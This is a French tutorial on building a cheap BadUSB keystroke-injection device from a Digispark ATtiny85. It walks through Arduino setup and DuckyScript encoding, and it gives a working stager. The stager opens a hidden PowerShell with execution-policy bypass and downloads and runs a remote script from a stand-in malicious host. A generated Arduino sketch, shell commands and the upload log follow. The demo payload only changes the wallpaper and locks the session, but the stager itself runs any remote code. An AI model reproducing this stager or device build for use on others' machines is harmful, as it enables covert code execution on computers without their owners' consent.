Transformer un digispark en Rubber ducky

Avec l'arrivé de nombreux gadjets sur le marché, il devient coûteux de s'équiper convenablement. Pour ceux qui ont été dans le même cas que moi à vouloir investir dans une rubber-ducky et se désister après avoir vu les 50€ de frais de ports, sachez qu'il existe une alternative à moins de 5€

Digispark Attiny 85

https://www.gearbest.com/other-accessories/pp_227676.html

A savoir : Le digispark Attiny85 dispose de peu d'espace disque (6012 octets), selon le gabarit de l'attaque il sera parfois obligatoire de télécharger vos payload, dans ce cas le digispark sera utilisé en tant que stager

IMPORTANT : La manipulation ci-dessous est faite sur un OS Linux

Installer Arduino IDE

https://www.arduino.cc/en/Main/Software

tar -xJf arduino-1.8.10-linux64.tar.xz
mv arduino-1.8.10 /usr/share
cd /usr/share/arduino-1.8.10
./install.sh

Configuration udev

Pour les distrib type ubuntu/mint et autres dérivés, je conseil de configurer l'udev sinon l'upload vers le digispark ne fonctionnera pas

vi /etc/udev/rules.d/49-micronucleus.rules

# UDEV Rules for Micronucleus boards including the Digispark.
# This file must be placed at:
#
# /etc/udev/rules.d/49-micronucleus.rules    (preferred location)
#   or
# /lib/udev/rules.d/49-micronucleus.rules    (req'd on some broken systems)
#
# After this file is copied, physically unplug and reconnect the board.
#
SUBSYSTEMS=="usb", ATTRS{idVendor}=="16d0", ATTRS{idProduct}=="0753", MODE:="0666"
KERNEL=="ttyACM*", ATTRS{idVendor}=="16d0", ATTRS{idProduct}=="0753", MODE:="0666", ENV{ID_MM_DEVICE_IGNORE}="1"
#
# If you share your linux system with other users, or just don't like the
# idea of write permission for everybody, you can replace MODE:="0666" with
# OWNER:="yourusername" to create the device owned by you, or with
# GROUP:="somegroupname" and mange access using standard unix groups.

Si nécessaire rechargez les règles en root :

udevadm control --reload-rules

Configurer Arduino

  • Ajouter les packages digistump

Fichier->Préferences-> URL de gestionnaire de carte
http://digistump.com/package_digistump_index.json

  • Installer le package Digistump

Outils->Type de carte..->Gestionnaire de carte->Digistump(dans le champ de recherche)->Install

  • Basculer en mode Digistump

Outils->Type de carte..->Digispark (Default 16.5 Mhz)

Un jolie GIF démonstratif à cette adresse https://digistump.com/wiki/digispark/tutorials/connecting

Configuration de l'attaque

Il y a plusieurs moyen de configurer le digispark, pour ce tutoriel je démontre la solution la plus simple (flemmard oblige) avec les scripts duckencoder et duck2spark

Dans le cas en exemple la clef servira de stager et lancera un script powershell hébergé sur internet (script qui télécharge une image et modifie le fond d’écran)

$url = "https://cadenaser00.epimg.net/ser/imagenes/2017/09/08/gente/1504852962_952336_1504855721_noticia_normal.jpg"
$output = "C:\Users\$env:USERNAME\Desktop\bigup.jpg"
(New-Object System.Net.WebClient).DownloadFile($url, $output)
$setwallpapersrc = @"
using System.Runtime.InteropServices;
public class wallpaper
{
public const int SetDesktopWallpaper = 20;
public const int UpdateIniFile = 0x01;
public const int SendWinIniChange = 0x02;
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern int SystemParametersInfo (int uAction, int uParam, string lpvParam, int fuWinIni);
public static void SetWallpaper ( string path )
{
SystemParametersInfo( SetDesktopWallpaper, 0, path, UpdateIniFile | SendWinIniChange );
}
}
"@
Add-Type -TypeDefinition $setwallpapersrc
[wallpaper]::SetWallpaper($output)

Explication de l'attaque :

  • Windows + r (Exécuter)
  • Lancer powershell pour récupérer mon script malveillant et l’exécution de celui-ci
  • Windows + r (Exécuter)
  • Notepad
  • Message
  • Windows + l (Verrouiller session)

Téléchargez le duckyencoder https://github.com/hak5darren/USB-Rubber-Ducky et le script duck2spark https://github.com/mame82/duck2spark

  • duckyencoder : Convertit le script (format texte) en binaire
  • duck2spark : Convertit le binaire en format digispark

1. Créer votre script rubberducky

vim ducky.txt

GUI r
DELAY 300
STRING powershell.exe -exec bypass -w hidden -nop -c "iex(New-Object System.Net.WebClient).DownloadString('https://maliciousserver.fr/payload.ps1')"
DELAY 200
ENTER
DELAY 1000
GUI r
DELAY 100
STRING notepad
DELAY 100
ENTER
DELAY 100
STRING H4cked !
DELAY 100
GUI l
  • GUI r Raccourcie clavier windows + R
  • DELAY 1000 Une seconde d'attente
  • STRING Touche clavier saisie (l'attaque via powershell dans l'exemple)
  • ENTER Touche entrer saisie

IMPORTANT : Mettre un delay en millisecondes entre chaque action (Soyez réaliste sur les temps d'attente)

2. Encoder le script en binaire


java -jar duckencoder.jar -i ducky.txt -o ducky.bin -l fr
Hak5 Duck Encoder 2.6.3

Loading File .....              [ OK ]
Loading Keyboard File .....     [ OK ]
Loading Language File .....     [ OK ]
Loading DuckyScript .....       [ OK ]
DuckyScript Complete.....       [ OK ]

# -i input du script ducky
# -o output du script ducky encodé en binaire
# -l langue de clavier (francais dans l'exemple)

3. Compiler le binaire au format digispark

python duck2spark/duck2spark.py -i ducky.bin -l 1 -f 2000 -o Payload.bin

# -i fichier en entrée
# -o fichier en output (A injecter dans Arduino)
# -l compteur de loop (si besoin de faire une boucle)
# -f delay en ms avant de lancer le payload (par défaut 1000 ms)

4. Une fois le fichier compilé, récupérez le contenu et collez le dans Arduino.

cat Payload.bin

/*
* Sketch generated by duck2spark from Marcus Mengs aka MaMe82
*
*/
#include "DigiKeyboard.h"

#define DUCK_LEN 406
const PROGMEM uint8_t duckraw [DUCK_LEN] = {
	0x0, 0xff, 0x0, 0xff, 0x0, 0xff, 0x0, 0xff, 0x0, 0xff, 0x0, 0xff, 0x0, 0xff, 0x0, 0xd7, 0x15, 0x8, 0x0, 0xff, 0x0, 0x2d, 0x13, 0x0, 0x12, 0x0, 0x1d, 0x0, 0x8, 0x0, 0x15, 0x0, 0x16, 0x0, 0xb, 0x0, 0x8, 0x0, 0xf, 0x0, 0xf, 0x0, 0x36, 0x2, 0x8, 0x0, 0x1b, 0x0, 0x8, 0x0, 0x2c, 0x0, 0x23, 0x0, 0x8, 0x0, 0x1b, 0x0, 0x8, 0x0, 0x6, 0x0, 0x2c, 0x0, 0x5, 0x0, 0x1c, 0x0, 0x13, 0x0, 0x14, 0x0, 0x16, 0x0, 0x16, 0x0, 0x2c, 0x0, 0x23, 0x0, 0x1d, 0x0, 0x2c, 0x0, 0xb, 0x0, 0xc, 0x0, 0x7, 0x0, 0x7, 0x0, 0x8, 0x0, 0x11, 0x0, 0x2c, 0x0, 0x23, 0x0, 0x11, 0x0, 0x12, 0x0, 0x13, 0x0, 0x2c, 0x0, 0x23, 0x0, 0x6, 0x0, 0x2c, 0x0, 0x20, 0x0, 0xc, 0x0, 0x8, 0x0, 0x1b, 0x0, 0x22, 0x0, 0x11, 0x2, 0x8, 0x0, 0x1d, 0x0, 0x23, 0x0, 0x12, 0x2, 0x5, 0x0, 0xd, 0x0, 0x8, 0x0, 0x6, 0x0, 0x17, 0x0, 0x2c, 0x0, 0x16, 0x2, 0x1c, 0x0, 0x16, 0x0, 0x17, 0x0, 0x8, 0x0, 0x33, 0x0, 0x36, 0x2, 0x11, 0x2, 0x8, 0x0, 0x17, 0x0, 0x36, 0x2, 0x1d, 0x2, 0x8, 0x0, 0x5, 0x0, 0x6, 0x2, 0xf, 0x0, 0xc, 0x0, 0x8, 0x0, 0x11, 0x0, 0x17, 0x0, 0x2d, 0x0, 0x36, 0x2, 0x7, 0x2, 0x12, 0x0, 0x1d, 0x0, 0x11, 0x0, 0xf, 0x0, 0x12, 0x0, 0x14, 0x0, 0x7, 0x0, 0x16, 0x2, 0x17, 0x0, 0x15, 0x0, 0xc, 0x0, 0x11, 0x0, 0xa, 0x0, 0x22, 0x0, 0x21, 0x0, 0xb, 0x0, 0x17, 0x0, 0x17, 0x0, 0x13, 0x0, 0x16, 0x0, 0x37, 0x0, 0x37, 0x2, 0x37, 0x2, 0xe, 0x0, 0x23, 0x0, 0xf, 0x0, 0x9, 0x0, 0x14, 0x0, 0x36, 0x2, 0xc, 0x0, 0x11, 0x0, 0x9, 0x0, 0x12, 0x0, 0x37, 0x2, 0x6, 0x0, 0x12, 0x0, 0x11, 0x0, 0x17, 0x0, 0x8, 0x0, 0x11, 0x0, 0x17, 0x0, 0x37, 0x2, 0xc, 0x0, 0x33, 0x0, 0x14, 0x0, 0xa, 0x0, 0x8, 0x0, 0x16, 0x0, 0x37, 0x2, 0x33, 0x2, 0x14, 0x0, 0x1b, 0x0, 0x1b, 0x0, 0x1b, 0x0, 0x36, 0x2, 0x6, 0x0, 0x12, 0x0, 0x11, 0x0, 0x9, 0x0, 0x21, 0x0, 0x2d, 0x0, 0x20, 0x0, 0x0, 0xff, 0x0, 0xf5, 0x28, 0x0, 0x0, 0xff, 0x0, 0xff, 0x0, 0xff, 0x0, 0xff, 0x0, 0xff, 0x0, 0xff, 0x0, 0xff, 0x0, 0xd7, 0x15, 0x8, 0x0, 0xff, 0x0, 0x2d, 0x11, 0x0, 0x12, 0x0, 0x17, 0x0, 0x8, 0x0, 0x13, 0x0, 0x14, 0x0, 0x7, 0x0, 0x0, 0xff, 0x0, 0xf5, 0x28, 0x0, 0x0, 0xff, 0x0, 0xf5, 0xc, 0x2, 0x16, 0x2, 0x16, 0x2, 0x12, 0x2, 0x18, 0x2, 0x18, 0x2, 0x18, 0x2, 0x18, 0x2, 0x18, 0x2, 0x18, 0x2, 0x18, 0x2, 0x18, 0x2, 0x18, 0x2, 0x18, 0x2, 0x18, 0x2, 0x18, 0x2, 0x18, 0x2, 0x0, 0xff, 0x0, 0xf5
};
int i = 1; //how many times the payload should run (-1 for endless loop)
bool blink=true;

void setup()
{
	// initialize the digital pin as an output.
	pinMode(0, OUTPUT); //LED on Model B
	pinMode(1, OUTPUT); //LED on Model A
	DigiKeyboard.delay(2000); //wait 2000 milliseconds before first run, to give target time to initialize
}

void loop()
.....


#Copiez l'output et collez le dans la console Arduino

Uploader sur le digispark

Dans la console Arduino :

Croquis->Téléverser

L'output console renverra le message ci-dessous, ce sera le moment d'y plug le digispark

Running Digispark Uploader...
Plug in device now... (will timeout in 60 seconds)

Device is found!
connecting: 16% complete
connecting: 22% complete
connecting: 28% complete
connecting: 33% complete
> Device has firmware version 1.6
> Available space for user applications: 6012 bytes
> Suggested sleep time between sending pages: 8ms
> Whole page count: 94  page size: 64
> Erase function sleep duration: 752ms
parsing: 50% complete
> Erasing the memory ...
erasing: 55% complete
erasing: 60% complete
erasing: 65% complete
> Starting to upload ...
writing: 70% complete
writing: 75% complete
writing: 80% complete
> Starting the user app ...
running: 100% complete
>> Micronucleus done. Thank you!

And Now, PLUG AND PLAY ! ;)

Quelques liens utiles pour les curieux :

https://digistump.com/wiki/digispark/tutorials/connecting

https://0x00sec.org/t/a-complete-beginner-friendly-guide-to-the-digispark-badusb/8002

https://ducktoolkit.com/

https://github.com/k_lfa